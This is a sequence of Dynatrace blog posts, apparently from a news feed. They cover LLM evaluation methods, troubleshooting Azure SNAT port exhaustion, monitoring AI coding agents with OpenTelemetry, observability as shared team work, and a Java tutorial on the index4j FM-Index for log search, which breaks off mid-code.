This is the second post in our series on LLM evaluations. In the companion post, Evaluate LLM and agent quality in Dynatrace AI Observability with dt-evals, we showed you how to run online evaluations against real GenAI prompt traces and bring quality scores into Dynatrace AI Observability alongside latency, cost, and errors. This post steps back to the fundamentals: what evaluations are, how they work, and the methods teams use to measure AI quality.

Just as traditional software relies on testing frameworks to ensure reliability, AI systems require robust evaluation frameworks to measure the quality, accuracy, and safety of model outputs. Evals are the primary mechanism by which teams build trust in, iterate on, and responsibly deploy AI systems. Without them, organizations may risk deploying systems that produce unreliable answers, hallucinate facts, or quietly degrade in performance over time.

Key takeaways

• Evaluations are how teams move from “the LLM feels right” to “we can prove the LLM works.”
• There is no single best evaluation method. The right approach depends on what you’re measuring and why.
• LLM-as-a-Judge is one powerful tool within the broader evaluation ecosystem, not synonymous with evals as a whole.
• Online and offline evaluations serve complementary roles: offline for development, online for production monitoring.
• A mature evaluation strategy combines code-based, model-based, and human-based methods.
• Evals should be treated as living artifacts — maintained, versioned, and improved over time like any other engineering asset.

Why LLM evaluation is fundamentally different from traditional testing

Traditional software produces deterministic outputs — the same input consistently returns the same result, making pass/fail testing straightforward. LLMs are probabilistic systems: the same prompt can produce different responses depending on context, temperature, and model behavior. This variability makes conventional testing methods insufficient.

Instead of verifying a single correct output, teams must evaluate across multiple dimensions simultaneously:

• Correctness— does the response answer the question accurately?
• Relevance — is the output aligned with the user’s intent?
• Faithfulness — is the response grounded in source data, not invented?
• Safety and bias — does the output comply with organizational policies?

This transforms evaluation from simple pass/fail checks into continuous measurement of AI quality.

The hallucination problem

The most well-known consequence of probabilistic generation is hallucination — when a model produces plausible-sounding but factually incorrect information. This happens because LLMs predict likely word sequences rather than verify facts, which enables powerful reasoning but introduces serious risk in enterprise environments where accuracy is critical.

Addressing this requires evaluation frameworks that track signals like factual accuracy, semantic similarity, groundedness in source data, and consistency across responses. These metrics transform subjective quality judgments into measurable, improvable signals.

What is an LLM evaluation?

An LLM evaluation is a systematic process of testing a model or AI-powered system to determine whether it meets a defined standard of quality. That standard could be factual accuracy, helpfulness, safety, tone, latency, cost-efficiency, or any other measurable dimension that matters to the application.

Evaluations translate vague product goals (“the assistant should be helpful and safe”) into concrete, repeatable measurements. They allow teams to:

• Catch regressions when a model is updated, or a prompt is changed.
• Compare candidates — different models, prompt versions, or retrieval strategies — objectively.
• Build accountability by producing evidence that a system behaves as intended.
• Accelerate iteration by giving developers fast, structured feedback loops.

Evals exist on a spectrum of formality, from a small hand-curated test set run locally, to a large, automated pipeline running thousands of test cases in CI/CD on every deployment.

How do LLM evaluations operate?

At their core, evaluations follow a consistent pattern regardless of their complexity:

1. Define the task and success criteria. What should the LLM model do, and how will you know when it does it correctly? This is the hardest and most important step.
2. Assemble a dataset. A set of inputs (prompts, user messages, documents) paired with expected outputs or grading rubrics. Datasets can be human-curated, synthetically generated, or sampled from production traffic.
3. Run inference. Pass the inputs through the system under test and collect outputs.
4. Score the outputs. Apply a scoring method — a function, a model, or a human — to assess how well each output meets the success criteria.
5. Aggregate and analyze. Roll up scores into metrics (accuracy, pass rate, average score), visualize distributions, and compare against baselines or previous runs.
6. Act on results. Use the findings to accept or reject a change, file a bug, update a prompt, or trigger retraining.

This loop can run manually during development, automatically in CI/CD pipelines, or continuously against live production traffic.

What’s the difference between LLM evaluations and LLM-as-a-Judge?

This is one of the most common points of confusion in the space.

LLM evaluations are the broader discipline — the full process described above. They encompass everything from how you define success to how you collect test data to how you score outputs to how you act on results.

LLM-as-a-Judge is one specific scoring method that can be used within an evaluation pipeline. It involves using a language model (often a strong general-purpose model like GPT-5 or Claude Sonnet 4.6) to automatically assess the quality of another model’s outputs.

Think of it this way: evaluations are the framework, and LLM-as-a-Judge is one type of grader you can plug into that framework — alongside code-based graders, human graders, or embedding-based similarity checks.

• LLM-as-a-judge handles open-ended, subjective dimensions (tone, creativity, helpfulness) that are hard to capture in code.
• It scales to large datasets without human effort.
• It can be surprisingly well-calibrated when prompts and rubrics are carefully designed.

Limitations

• Inherent biases of the LLM model used to judge (verbosity bias, position bias, self-preference).
• Requires prompt engineering and validation to ensure the judge is grading what you intend.
• Adds cost and latency to the evaluation pipeline.
• Not appropriate for tasks with clear ground-truth answers where code-based checks suffice.

Code-based evaluations

Code-based evaluations use deterministic functions — written in Python or any language — to score model outputs. No secondary LLM model is involved.

How it works

You write a function that takes the model output as input and returns a score. The function might check for exact string matches, run regex patterns, execute generated code and test it, parse JSON and validate its structure, call an external API to verify a fact, or compare numerical results.

Common patterns

• Exact match — does the output equal the expected answer?
• Contains / regex match — does the output include a required phrase or follow a required format?
• Execution-based — for code generation tasks, run the output and check whether tests pass.
• Structured output validation — parse JSON/XML outputs and verify schema and values.
• Tool call verification — for agentic tasks, did the model call the right tool with the right parameters?

Strengths

• Fully deterministic and reproducible.
• Fast and cheap to run at scale.
• Easy to understand, debug, and audit.
• No dependence on a secondary model’s judgment.

Limitations

• Cannot handle open-ended or subjective quality dimensions.
• Requires knowing the exact expected output or a verifiable property of the output.
• Brittle for tasks where there are many valid correct outputs (for example, summarization, creative writing).

Code-based LLM evals are the first tool to reach for whenever a task has a clear, verifiable answer. They form the backbone of any reliable eval suite.

Online vs. offline evaluations

These two modes are not competing approaches — they’re complementary phases of a complete evaluation strategy.

Offline evaluations

Offline evals run against a static, pre-collected dataset before a system reaches production. They’re the evaluation equivalent of unit and integration tests in software development.

• When: During development, before deploying a new model, prompt, or retrieval change.
• Dataset: Curated, labeled, or synthetically generated. Often maintained in version control.
• Latency: Can run in batch; speed is less critical.
• Use cases: Regression testing, model comparison, prompt optimization, safety red-teaming, fine-tune evaluation.

Key advantage: Full control over the test distribution and ground-truth labels.

Key limitation: The dataset may not reflect real user behavior or the long tail of production inputs.

Online Evaluations

Online evals run against live production traffic in real time or near real time. They observe what is actually happening when real users interact with the system.

• When: Continuously, in production.
• Dataset: Real user inputs — unlabeled, unpredictable, and representative.
• Latency: Must be fast or asynchronous to avoid slowing down user-facing requests.
• Use cases: Production monitoring, anomaly detection, drift detection, A/B testing, continuous quality assurance.

Key advantage: Captures real-world usage patterns, prompts, and failure modes from production traffic, giving teams the most representative signal for monitoring AI quality over time.

Key limitation: No pre-defined labels; scoring must rely on heuristics, implicit signals (thumbs up/down, re-prompts), or async LLM-as-a-Judge pipelines.

Get started with LLM evaluations today

The field of LLM evals is evolving rapidly. As enterprises deploy increasingly autonomous AI systems, evaluation can play an important role in improving AI accuracy, reliability, and safety.

Here are the trends worth watching and investing in:

1. Evaluation-driven development. Treat evals as a first-class engineering artifact. Write eval cases before building features, maintain them in version control, and integrate them into CI/CD pipelines — mirroring test-driven development practices from software engineering.
2. Agentic and multi-step evaluation. As AI systems move from single-turn Q&A to multi-step agents that use tools and maintain state, evaluations must evolve to assess full trajectories rather than just individual outputs. This includes evaluating tool use, planning quality, error recovery, and task completion over long horizons.
3. Adversarial and safety evals. Red-teaming — probing a system for failures, biases, and unsafe behaviors — is becoming a standard part of the eval lifecycle, especially as regulatory requirements around AI safety mature.
4. Human-in-the-loop calibration. Even automated eval pipelines benefit from periodic human review to catch drift in what the judge model or scoring function is measuring. Building lightweight human-annotation workflows alongside automated evaluations yields a more reliable signal over time.
5. Standardization and benchmarking. The industry is moving toward shared benchmarks and eval frameworks (for example, HELM, MMLU, LMSYS Chatbot Arena, OpenAI Evals) that allow apples-to-apples comparisons across models. Building internal evals that complement these public benchmarks will be an increasingly important capability for any team deploying LLMs.
6. Cost-aware evaluation. As evals scale, cost becomes a real constraint. Emerging approaches include training lightweight specialized judge models, using embedding-based similarity as a cheap first filter, and intelligently sampling which examples need expensive LLM-as-a-Judge scoring.

Organizations that invest early in robust evaluation frameworks and combine them with AI observability will be positioned to scale AI safely across their operations.

Ready to put this into practice?

See our companion blog post, Evaluate LLM and agent quality in Dynatrace AI Observability with dt-evals, to learn how dt-evals lets you run LLM-as-a-judge evaluations on real GenAI traces and turn AI quality into a queryable, trendable, and alertable signal inside Dynatrace AI Observability.

Because in the end, AI systems are only as trustworthy as the processes used to evaluate them.

The post Beyond LLM-as-a-judge: Establishing LLM evaluations as a foundation for trustworthy agentic AI systems appeared first on Dynatrace news.

Your on-call engineer is looking at intermittent HTTP 500s from a service running on a virtual machine that was perfectly healthy twelve hours ago. Nothing changed in the application. No recent deployments. Logs show connection timeouts — but only under load, and only to external services. The app itself looks fine.

This is the signature of SNAT port exhaustion: Azure’s most reliably invisible production failure. It masquerades as an application bug while the root cause sits quietly in your networking configuration. Left unresolved, it degrades under load, confuses your developers, and burns investigation hours on symptoms instead of causes.

With the general availability of Azure Cloud Platform Monitoring, Dynatrace now ships a pre-built alert that catches this exact failure — before your engineers are paged, or the moment they are. This is the story of how that plays out.

What is SNAT exhaustion?

Source Network Address Translation (SNAT) is how Azure allows resources in a virtual network to make outbound connections to the internet without exposing a public IP on each instance. When a backend instance behind an Azure Load Balancer initiates an outbound TCP connection, the load balancer performs SNAT: It maps the source IP and port to one of its frontend IPs and a port from a shared pool.

The trap: Azure allocates a limited number of SNAT ports per backend instance. The exact number depends on how many instances are in the backend pool — smaller pools get more ports per instance (up to 1,024), while larger pools get fewer (as low as 32 per instance). Each active outbound connection consumes one port for the duration of the connection plus its TIME_WAIT period — typically up to four minutes. Under normal load, this is plenty. Under burst traffic — or when an application makes many short-lived outbound calls without connection pooling — those ports vanish fast.

When the pool is exhausted, new outbound connections fail with a generic network error. The application logs a 500 or a timeout. Developers stare at their code. The infrastructure looks healthy in Azure Monitor… unless you know exactly which metric to watch and where.

12:03 PM — The alert fires

At 12:03 PM, Dynatrace fires a problem notification: “Azure Load Balancer SNAT Port Exhaustion High” — one of the pre-shipped health alerts that comes with Azure Cloud Platform Monitoring.

The alert details show the affected resource: retail-snat-lb, a production Load Balancer in the prod-eastus subscription, with SNAT connection counts climbing rapidly toward the allocated port ceiling. The problem card surfaces the backend IP addresses approaching exhaustion — in this case, two instances already above 75% of their allocated ports — alongside the duration, the severity trend, and a direct link into the Clouds app to investigate.

What’s going on?

Opening retail-snat-lb in the Clouds app, the metrics make the problem immediately clear. UsedSnatPorts is peaking at 256 — against an allocated ceiling of 128 ports per backend instance. That is 100% utilization, and it is not a one-off spike. The pattern repeats with every traffic wave hitting the backend.

Metrics tell the story, but logs confirm it. With Azure resource (diagnostic) logs ingested into Dynatrace, we can corroborate what the SNAT metrics are showing.

The last 10 error and warning log entries confirm it: the Azure Load Balancer is experiencing SnatPortExhaustion.

Azure Cloud Platform Monitoring continuously maps your cloud topology and persists it in Smartscape^® as nodes. Dynatrace discovers relationships between Azure resources and creates Smartscape edges for the relevant nodes.

From the related resources tab, we can drill into the outbound rule configuration for this Load Balancer.

We can see that allocatedOutboundPorts is currently set to 128. This is the custom number of SNAT ports which are pre-allocated per backend instance for outbound connections. If a VM uses all its allocated ports — due to many concurrent or short-lived outbound connections — new connections fail with SNAT exhaustion errors.

Increasing allocatedOutboundPorts reduces this risk, but there is a tradeoff: More ports per instance means fewer instances per frontend IP. With a single frontend IP (64K ports), setting 1,000 ports per instance supports roughly 64 instances; setting 128 ports per instance supports roughly 500 instances.

But what backend instances are serving traffic? We can query Smartscape topology using DQL to understand exactly which Azure Network Interfaces are associated with the Load Balancer’s backend pool.

We can see there are two Azure Virtual Machines whose network interfaces are registered in the backend pool, both making outbound calls through a single Azure Load Balancer.

This matters because SNAT exhaustion is a per-instance problem. With two VMs in the backend pool, Azure pre-allocates 128 SNAT ports to each instance via the outbound rule. Under load, both VMs are independently hitting their own port ceilings — which is exactly what the metrics are showing. The topology makes this architecture immediately visible, without navigating Azure Portal resource groups or drawing a diagram by hand.

Observability superpowers

With the root cause identified on a single Load Balancer, the next question is obvious: Is this the only one at risk?

This is where Dynatrace Assist comes in — and with Azure-specific agentic skills arriving in an upcoming Dynatrace release, it gets even more powerful. Assist is your natural language gateway into Dynatrace Intelligence — the agentic operations system that brings the full platform together. Instead of switching between dashboards, writing queries by hand, or clicking through Azure Portal subscription by subscription, you ask a question in a conversational interface. Assist draws context from Grail™ and maps relationships through Smartscape to deliver grounded, data-backed answers.

Once these skills are generally available, asking Assist to “list all Azure Load Balancer outbound rules sorted by allocatedOutboundPorts” will generate a DQL query that scans configurations across every connected Azure subscription in seconds — the kind of cross-subscription audit that would take hours of portal hopping. The result instantly surfaces every Load Balancer with details of their SNAT configuration, turning a single resource investigation into an environment-wide remediation sweep.

Additionally, you’ll be able to quickly understand which Azure resources are affected for a load balancer that has this custom SNAT configuration applied by asking, “For load balancer retail-snat-lb which backend instances are affected by this configuration?”

“Our Madrid MultiCloud strategy is based on a unified observability office powered by the Dynatrace platform, which allows us to anticipate problems, increase agility, and scale our services. This approach is key to driving the City Council’s digital transformation and delivering better services to citizens. Specifically, Dynatrace Cloud Operations for Azure helps us detect early warning signs, reduce operational noise, and respond automatically when incidents occur, allowing our development teams to focus on the continuous delivery of new features.”

– Mónica Romero Domínguez, Head of Observability and Monitoring, IT Agency at Madrid City Council

Two options, one outcome

Fixing SNAT exhaustion on an Azure Load Balancer is straightforward once you know what you are dealing with.

Option A: Attach a NAT Gateway. A single NAT Gateway with one public IP address provides 64,512 SNAT ports. With multiple IP addresses, you multiply that ceiling further. NAT Gateway completely decouples outbound connectivity from the Load Balancer’s frontend IP allocation and is the recommended pattern for workloads with significant outbound traffic.

Option B: Define explicit outbound rules. If NAT Gateway is not feasible, add explicit outbound rules to the Load Balancer and associate multiple frontend IP addresses. Azure allocates ports proportionally — more frontend IPs means more ports per backend instance.

Either approach will cause the SNAT connection utilization to drop back to baseline. The recovery is visible immediately in the Dynatrace dashboard, and the pre-shipped health alert resolves automatically once utilization falls below the critical threshold.

Azure observability at scale

The investigation above was possible because retail-prod-eastus was already being monitored — not because someone remembered to configure it. Onboarding happens once at the Azure Management Group level, and Dynatrace automatically discovers every subscription beneath it, including subscriptions created after the initial connection. Authentication uses federated credentials: there are no shared secrets to store, rotate, or let expire.

Everything seen during this investigation — the pre-shipped alert, the SNAT metric, the topology, the VM logs — arrived without any Dynatrace components running inside Azure. Metrics, topology, logs, and events are polled directly by the Dynatrace platform. This replaces the previous approach, which required self-hosting the Dynatrace Azure Log Forwarder for log ingestion — a component that needed to be deployed, scaled, and maintained inside each Azure environment.

The SNAT metric that surfaced this problem was available out of the box, part of the Dynatrace curated metric collection set for Azure Load Balancers. Coverage is not limited to what Dynatrace has pre-selected: Auto-discovery can ingest all metrics available for any Azure service, or any Azure Monitor native platform metric can be collected on demand — without waiting for Dynatrace to add explicit support. The resource inventory underlying the Smartscape topology is built from Azure Resource Graph, scanning subscriptions continuously so the entity map reflects the environment as it actually is.

Every ingested signal — metric, log entry, event — is automatically linked to the Smartscape entity representing the Azure resource that produced it. The reason the SNAT spike, the VM timeouts, and the Load Balancer topology appeared together in the same investigation is that they are stored in the same context. There is no join to write, no dashboard to cross-reference. The data arrives pre-correlated.

Smartscape^®, Grail™, and the Dynatrace logo are trademarks of the Dynatrace, Inc. group of companies. All other trademarks are the property of their respective owners.

The post The silent network killer: Preventing Azure SNAT exhaustion with Dynatrace appeared first on Dynatrace news.

Dynatrace helps you answer these questions by extending AI observability for a new wave of coding agents, including Claude Code, Google Gemini CLI, OpenAI Codex CLI, OpenCode, and GitHub Copilot SDK. Together, these integrations give engineering leaders, platform teams, and developers a consistent way to understand agent activity, token consumption, costs, tool behavior, and runtime impact: without forcing teams to stitch together fragmented telemetry across terminals, SDKs, dashboards, and development workflows. Dynatrace public AI agent instrumentation examples on GitHub demonstrate how to provide industry leading observability that drives performance, cost efficiency, and governance across complex, distributed AI-driven systems—all through a unified Dynatrace platform experience that developers can access directly via MCP without leaving their IDE.

From agent activity to engineering insight

As organizations adopt multiple coding agents, new adoption challenges emerge. One team might use Claude Code in the terminal, another may build internal tools with GitHub Copilot SDK, while others experiment with Gemini CLI or Codex CLI. Platform teams want visibility into usage, availability, and costs. Engineering leaders want to know whether agents improve delivery. Security and governance teams want confidence that all prompts, tool usage, and actions can be monitored appropriately.

Dynatrace provides a practical answer to these challenges: a single observability layer for agile development workflows. For agents that emit OpenTelemetry directly, such as Claude Code, Gemini CLI, and Codex CLI, Dynatrace can ingest telemetry related to sessions, tokens, costs, tool executions, errors, and performance. For GitHub Copilot workflows, Dynatrace adds production context, software delivery automation, and GitHub-based integrations that connect agent activity to real engineering workflows.

The payoff is clear. Developers gain visibility into how agents behave in real work. Platform teams can track adoption, usage trends, and cost signals. Engineering leaders can correlate agent activity with commits, pull requests, and delivery outcomes. And with an MCP-enabled production context, teams can connect coding-agent actions to what is happening in production.

“Before we instrumented Claude Code, we had no easy way to break down how our engineers actually used AI, which models, for what tasks, and at what cost. Now we can pinpoint inefficient model use and guide usage toward better cost-performance tradeoffs.”
— Markus Heimbach, Senior Director Software Development

Multiple coding agent experiences, one observability strategy

Each coding agent has a different operating model, which is why a common observability layer matters.

Claude Code

Claude Code already supports built-in OpenTelemetry, making it easy to send metrics and logs to Dynatrace with no code changes. Teams can track sessions, tokens, costs, tool activity, API health, and engineering output such as commits and pull requests. Logs, dashboards, and alerts help teams investigate failures, spot latency spikes, and catch unusual spend or error patterns early.

Gemini CLI

Gemini CLI includes OpenTelemetry-based observability and preconfigured dashboards, making it a strong fit for Dynatrace AI observability. Teams can correlate agent activity with broader platform signals and move quickly from raw telemetry to action. This includes debugging failed runs, identifying slow or error-prone tool calls, and alerting on cost or reliability regressions.

Codex CLI

Codex CLI supports opt-in OpenTelemetry monitoring, giving teams a path to audit usage and strengthen governance across CLI, IDE, and app experiences. With Dynatrace, logs and traces help investigate request flows, delays, and failures across agent workflows. Alerts can flag degraded reliability, unexpected behavior, or rising token consumption before they become larger issues.

GitHub Copilot SDK

GitHub Copilot SDK lets teams embed agentic workflows directly into applications, while Dynatrace adds live observability and security context. This matters because embedded agents become part of real engineering and production-adjacent workflows. Dynatrace helps trace execution paths, use logs for debugging and auditability, and set alerts for failures, latency, or policy-relevant events.

OpenCode

OpenCode is a terminal-based AI coding agent that helps developers work through coding tasks directly from the command line. Because OpenCode ships with native OpenTelemetry support, teams can route telemetry to Dynatrace without code changes by setting standard OTLP environment variables. With Dynatrace, teams can track LLM call volume, session activity, tool usage, request latency, and workflow behavior across real developer sessions. Traces help teams inspect LLM requests, tool executions, session lifecycle events, message processing, file snapshots, or diff operations.

Across all operating models, the value is the same: one strategy for monitoring adoption and impact, understanding costs, logging and tracing agent activity, alerting on reliability issues, and debugging real-world workflows as coding agents scale across the enterprise.

Why this matters now

Teams are no longer asking whether coding agents are useful. They’re asking how to drive adoption, scale them safely, govern them consistently, and prove their impact. That requires visibility into usage, cost, reliability, and engineering outcomes across teams and tools. Dynatrace helps organizations make that shift with the observability and production context needed to expand coding-agent adoption with confidence.

The coding-agent market is moving fast. Claude Code, GitHub Copilot SDK, Google Gemini CLI, and OpenAI Codex CLI each represent a different path toward agentic software delivery, from terminal-based workflows to embedded SDKs and governed local execution. At the same time, Dynatrace has been expanding its developer-facing AI surface with the Dynatrace MCP Server, GitHub Copilot integrations, and AI observability capabilities built to connect agent behavior with real production systems. The timing matters because teams are no longer evaluating whether coding agents are useful. They’re deciding how to drive adoption, scale up usage safely, govern usage consistently, and measure real impact.

Ready to see AI coding agents through a Dynatrace lens?

With Dynatrace, teams can understand adoption, spend, reliability, tool behavior, and engineering outcomes in one place, while giving agents access to the live production context they need to make better decisions.

Whether your developers are working in Claude Code, building on GitHub Copilot SDK, experimenting with Gemini CLI, or adopting Codex CLI, Dynatrace helps bring observability, governance, and production awareness into the heart of agentic software delivery.

Public examples already demonstrate this approach for Claude Code, and the broader Dynatrace MCP and AI observability ecosystem provides the foundation to extend the same value across the next generation of coding agents.

Ready to learn more?

In our Git repository, you’ll find step-by-step examples for supported coding-agent workflows, including how to configure OpenTelemetry export, send telemetry data to Dynatrace, and use the provided dashboards to analyze the activity of your AI coding agents.

The post Dynatrace expands AI Coding Agent monitoring for Claude Code, Google Gemini CLI, Codex CLI, OpenCode, and GitHub Copilot SDK appeared first on Dynatrace news.

“How do I structure my observability team?” is one of the most common questions folks leading software teams ask me. My advice: Don’t create a centralized “observability team” that’s responsible for all the observability within an organization.

Observability shouldn’t exist as a silo. It touches many parts of an organization, from development to production, and should be treated as a team sport.

As we know, our systems can only be considered observable if they emit telemetry. No data means that we can’t understand what is happening in our systems. Fortunately, the OpenTelemetry® (OTel) ecosystem from the Cloud Native Computing Foundation (CNCF) has become the de-facto standard for instrumenting, generating, collecting, and exporting telemetry data.

What does this mean for observability adoption in an organization? Let’s dig in.

Observability is everyone’s responsibility

Reliability can’t happen without observability. Observability must be looked at holistically. It is not the sole responsibility of any one team or individual. Everyone has an important part to play, and to a certain extent, the parts weave into each other.

Instrumenting code

There are two types of OpenTelemetry instrumentation:

• Code-based (manual) instrumentation
• Zero-code (automatic) instrumentation

Code-based instrumentation should be done by application developers, and not by an “observability team.” Developers know their applications best. Asking someone else to instrument your application is like asking someone else to write your code comments. Please never do that.

Zero-code instrumentation usually involves a shim or bytecode instrumentation wrapper around your code. If you’re a developer writing code in a language that supports OpenTelematry auto-instrumentation, you should understand how to implement both zero-code and code-based instrumentation. In doing so, you can use the instrumentation to troubleshoot your own code.

In some environments, zero-code instrumentation may be managed by the OTel Operator. If this is the case, the responsibility often falls to SRE or platform engineering teams. Event in those cases, developers should understand; at least at a high level, how zero-code instrumentation is configured with the OTel Operator.

Managing observability infrastructure

Observability infrastructure still needs to be managed, whether you’re using a SaaS vendor (e.g. Dynatrace) or an open source stack. If you’re using OpenTelemetry, chances are you’re managing at least one OTel Collector, and perhaps many. If you’re running your applications on Kubernetes, you’ll likely deploy and manage Collectors within the cluster as well. In most organizations, this responsibility falls under platform engineering or SRE teams, and these teams are essential to robust, reliable software delivery in large, complex environments.

That said, developers should still understand how the OpenTelemetry Collector is configured. It’s true that you don’t need to go through a Collector to send OTel data to an observability backend for non-production. However, the Collector still offers some nice things that direct-from-application doesn’t (e.g. batching data, masking data, and automatic retries), and I still highly recommend using it, even in development.

Making CI/CD pipelines observable

DevOps engineers can’t escape observability either, because guess what? We can make CI/CD pipelines observable too. While CI/CD pipelines may not be a production environment that external users interact with, they most certainly are a production environment that internal users interact with (i.e. software engineers, platform engineers, and SREs).

CI/CD pipelines are defined by code, and like it or not, that code can still fail. Making our application code observable helps us make sense of things when they fail in production. So, it stands to reason that having pipeline observability can help us understand what’s going on when CI/CD pipelines fail.

There’s been some great buzz around the observability of CI/CD pipelines, especially now that there’s an official OTel CI/CD Special Interest Group (SIG). This will give our favorite CI/CD tools a shared language for the observability of CI/CD pipelines, creating a foundation for them to support OpenTelemetry tools in this context.

We’re not there yet, which means that right now we must stitch a few tools together to achieve CI/CD observability. Fortunately, things are moving nicely in this space, and if you haven’t considered CI/CD pipeline observability in your organization before, now’s the time to start thinking about it. To learn more about what’s happening with OTel CI/CD observability, check out the #otel-cicd channel on CNCF Slack.

Troubleshooting

The beauty of observability is that once you instrument your code, you put the ability to troubleshoot in the hands of many. Consider the ripple effect when developers instrument their code:

• Developers: Instrumentation allows developers to debug their code as they’re writing it.
• QA testers: Instrumentation allows testers to troubleshoot failed tests, allowing them to file more detailed bug reports. If QAs can’t track down the issue, then it means that there is missing instrumentation that developers need to add to their code. This turns observability into a quality gate.
• SREs: Instrumentation allows SREs to troubleshoot production issues, gain insight into system performance, and ensure overall system reliability.

Ensuring adherence to observability practices

Remember how I advised against creating an “observability team” responsible for all observability within an organization? I still stand by that. That said, I do believe that organizations should have an observability team responsible for enterprise-wide observability oversight and advocacy. A team that defines and disseminates observability standards and practices within that organization. This team would need to stay up to date in the latest observability practices, vendor offerings, and the OpenTelemetry  ecosystem— not just as an observer, but also as a project contributor, while also encouraging developers, platform engineers, and SREs to contribute.

This “observability practices team,” can’t, however, exist on an island. First off, it needs to be aligned with leadership to ensure that everyone is on the same page when it comes to observability. The team also needs support from individual practitioners. As a result, the team also needs to work with developers, SREs, platform engineers, QAs, and DevOps engineers to ensure that the practices and standards that it comes up with make sense.

If observability is to be a team sport, it needs coordination and guidance. There should be guardrails in place, to ensure that you have standard tooling, practices, and enforcement of said practices. Practices and standards include things like standard Collector configurations, and standard attributes emitted to your chosen observability backend(s).

Standardizing tooling is important because I’ve seen far too many “tool jungles” in organizations, where each team or department has their own tooling and practices, and it ends up being a recipe for disaster. Too much redundancy and overlap.

In addition, the observability practices team should not be responsible for instrumenting developers’ code, nor should it be managing infrastructure. It’s there to work with these other groups and to make sure that things are done right.

Final thoughts

Observability weaves its way into various aspects of an organization. It’s not just a developer concern. It’s not just an SRE concern. It’s not just a QA concern. It’s certainly not the concern of a single “observability team.” Doing so downplays its importance, takes away our collective responsibility towards observability, and dilutes the promise of observability. The only way to make this work is by ensuring that the teams participating in this team sport that we call observability don’t operate in silos.

The post Observability is a team sport appeared first on Dynatrace news.

If you’ve ever tried to track down a weird bug or security issue in a mountain of log files, you know how important it is to be able to search for any string no matter how random or unexpected. Log search engines need to be flexible, letting you look for anything from error codes to user IDs, or even fragments of stack traces. But with modern systems generating massive amounts of logs every day, storing all that data quickly becomes a problem.

That’s where compression comes in. By squeezing down the size of your logs, you save on storage costs and make it easier to keep more history around. The trick is to compress your data without making searches painfully slow. Enter the FM-Index: a clever data structure that combines powerful compression with fast search.

With the FM-Index, you can have a practical balance between compact storage and the freedom to search for anything you need. And if you are working in Java, we’ve got you covered with the open source index4j, created by the Real-Time Analytics lab of Dynatrace Research, an internal research group at Dynatrace where we work on researching methods for real-time processing and analysis of massive data streams.

When should you use the FM-Index?

The FM-Index is a relatively complex data structure that shines in specific scenarios:

• Your data is immutable or changes infrequently. The FM-Index is built for static datasets, so if your logs are constantly changing, you might want to look at other options.
• You need to perform a lot of queries. If you only need to search your logs occasionally, the overhead of building the FM-Index might not be worth it.
• Your queries are likely to be arbitrary substrings or they don’t fit a predefined pattern. The FM-Index does not care about the structure of your queries, making it ideal for searching through unstructured log data.
• You care about storage efficiency: It might not be your top priority, but you still want to save space without sacrificing search speed.
• You like the idea of combining compression and indexing into a single data structure, simplifying your architecture.

If any of the above sounds about right for your use case, then the FM-Index could be a strong fit.

In the next sections, we look at how to get started with the Dynatrace Open Source FM-Index library and how to apply it to your own log data!

What is the FM-Index?

So, what exactly is this FM-Index thing? In simple terms, the FM-Index is a supercharged search tool that lets you look for any substring inside your data, even if you never split your logs into words or tokens. It’s built on some clever computer science tricks: suffix arrays, bit vectors, wavelet trees, and the Burrows–Wheeler transform (BWT). Don’t worry if you are not familiar with them, the important part is that they work together to make searching and compressing possible at the same time.

With the FM-Index, you can:

• Count how many times a pattern appears in your logs, even if it’s just a random string of characters.
• Jump straight to the position of each match, so you can see exactly where something happened.
• Retrieve (or decompress) the matching lines or the context around them, all without having to decompress the entire log file upfront.

What’s really cool is that the FM-Index does all this while keeping storage and search times relatively low in practice, even as your logs grow huge. The magic is in its sublinear complexity: as your data gets bigger, the time and space needed for searches don’t grow nearly as fast. That’s why the FM-Index is a favorite in fields like bioinformatics, where people need to search through massive DNA sequences. But it’s just as handy for anyone dealing with mountains of log data and looking for fast, flexible search without the storage bloat.

And the coolest part? You can trade off between how much space you use and how fast your searches are by adjusting only a single parameter when building the index. A higher sample rate means better compression but slower queries, while a lower sample rate gives you faster searches at the cost of more storage space. You can choose what works best for your system!

Let’s get into it

Imagine you have collected ~1.5 million logs from an Android framework. Here’s a sample data set you can use to follow along (around 180 MB of raw text).

Let’s say you suspect one app is doing some questionable activity. Notice that:

1. The logs are static
2. You want to keep them around for a long time (maybe you want to do some forensics later)
3. You need to run many queries to find the root cause

The above constraints make it a a strong candidate for using an FM-Index. By using index4j, you can build an FM-Index over these logs with just a few lines of Java code. The index4j library is available in the Maven Central repository, so you can add it to your Java project as follows.

For maven projects, use:

<dependency> 
    <groupId>com.dynatrace.index4j</groupId> 
    <artifactId>indices</artifactId> 
    <version>0.3.1</version> 
</dependency>

For gradle projects, use:

implementation group: 'com.dynatrace.index4j', name: 'indices', version: '0.3.1'

Then, building your index is as simple as:

char[] text = Files.readString(Path.of("Android.log"), StandardCharsets.UTF_8) 
        .toCharArray(); // catch the exception as needed 
FmIndex fmi = new FmIndexBuilder() 
        .setSampleRate(64) 
        .setEnableExtraction(true) 
        .build(text); 

This will build an index in about one minute in our test environment while at the same time compressing the data down to roughly ~70 MB. From ~180 MB; that’s a reduction of more than 60%! And recall that this also includes the actual index. No additional storage is needed for searching.

Now that you have your index, searching is a breeze. Let’s say you want to find if your logs contain the string Permission Denial: which shows that an app is attempting to access resources for which it does not have the required permissions and may indicate suspicious behavior. Since we only care about whether this string exists and how many times it appears, we can use the count method:

char[] pattern = "Permission Denial:".toCharArray();
int counts = fmi.count(pattern);

This query will return the number of occurrences of the pattern in your logs, which should be 283 for the Android.log. Running it on a desktop processor (Intel Xeon W-10885M with the clock fixed at 2.40GHz) takes:

• If cold (no caching, no optimization done by the compiler yet), around 200 microseconds (or 0.2 milliseconds and ~5,000 queries per second)
• If warm (with caching and optimizations), around 30 microseconds (or 0.03 milliseconds and ~33,000 queries per second)

These results are based on a single benchmark setup; actual performance may vary depending on hardware, dataset, and workload. Note that if you run the same query naively, this would require a brute-force scan of the entire log file, which takes around ~100 milliseconds (~10 queries per second). With index4j, that represents a substantial performance improvement compared to a naïve scan in this benchmark.

You are probably wondering now: “What if I want to see the actual log lines that contain this pattern?” Counting is useful, but most likely you want to see the context around the matches. For that you can use the extract methods that index4j provides. Note that for the index there is no notion of “lines” anymore. The FM-Index just sees a big array of characters that is shuffled in some obscure way (that’s also where the compression comes from). However, since we enabled extraction when building the index (recall the line .setEnableExtraction(true)), index4j can still retrieve the original log lines. There are two steps to do this:

First, we need to find the positions of all occurrences of the pattern. We can do this using the locate method:

int[] locations = new int[counts]; 
